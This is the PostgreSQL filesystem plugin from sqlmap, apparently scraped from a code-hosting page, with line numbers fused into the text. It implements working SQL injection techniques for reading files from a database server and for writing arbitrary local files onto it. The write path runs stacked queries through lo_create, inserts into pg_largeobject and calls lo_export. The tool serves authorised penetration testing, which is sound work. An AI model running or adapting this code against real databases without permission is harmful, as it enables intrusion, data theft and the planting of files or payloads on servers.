Path: blob/master/plugins/dbms/postgresql/filesystem.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67import os89from lib.core.common import randomInt10from lib.core.compat import xrange11from lib.core.data import kb12from lib.core.data import logger13from lib.core.exception import SqlmapUnsupportedFeatureException14from lib.core.settings import LOBLKSIZE15from lib.request import inject16from plugins.generic.filesystem import Filesystem as GenericFilesystem1718class Filesystem(GenericFilesystem):19def __init__(self):20self.oid = None21self.page = None2223GenericFilesystem.__init__(self)2425def stackedReadFile(self, remoteFile):26if not kb.bruteMode:27infoMsg = "fetching file: '%s'" % remoteFile28logger.info(infoMsg)2930self.initEnv()3132return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")3334def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):35errMsg = "PostgreSQL does not support file upload with UNION "36errMsg += "query SQL injection technique"37raise SqlmapUnsupportedFeatureException(errMsg)3839def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):40localFileSize = os.path.getsize(localFile)41content = open(localFile, "rb").read()4243self.oid = randomInt()44self.page = 04546self.createSupportTbl(self.fileTblName, self.tblField, "text")4748debugMsg = "create a new OID for a large object, it implicitly "49debugMsg += "adds an entry in the large objects system table"50logger.debug(debugMsg)5152# References:53# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html54# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html5556inject.goStacked("SELECT lo_unlink(%d)" % self.oid)57inject.goStacked("SELECT lo_create(%d)" % self.oid)58inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)5960for offset in xrange(0, localFileSize, LOBLKSIZE):61fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)62sqlQueries = self.fileToSqlQueries(fcEncodedList)6364for sqlQuery in sqlQueries:65inject.goStacked(sqlQuery)6667inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))68inject.goStacked("DELETE FROM %s" % self.fileTblName)6970self.page += 17172debugMsg = "exporting the OID %s file content to " % fileType73debugMsg += "file '%s'" % remoteFile74logger.debug(debugMsg)7576inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)7778written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)7980inject.goStacked("SELECT lo_unlink(%d)" % self.oid)8182return written838485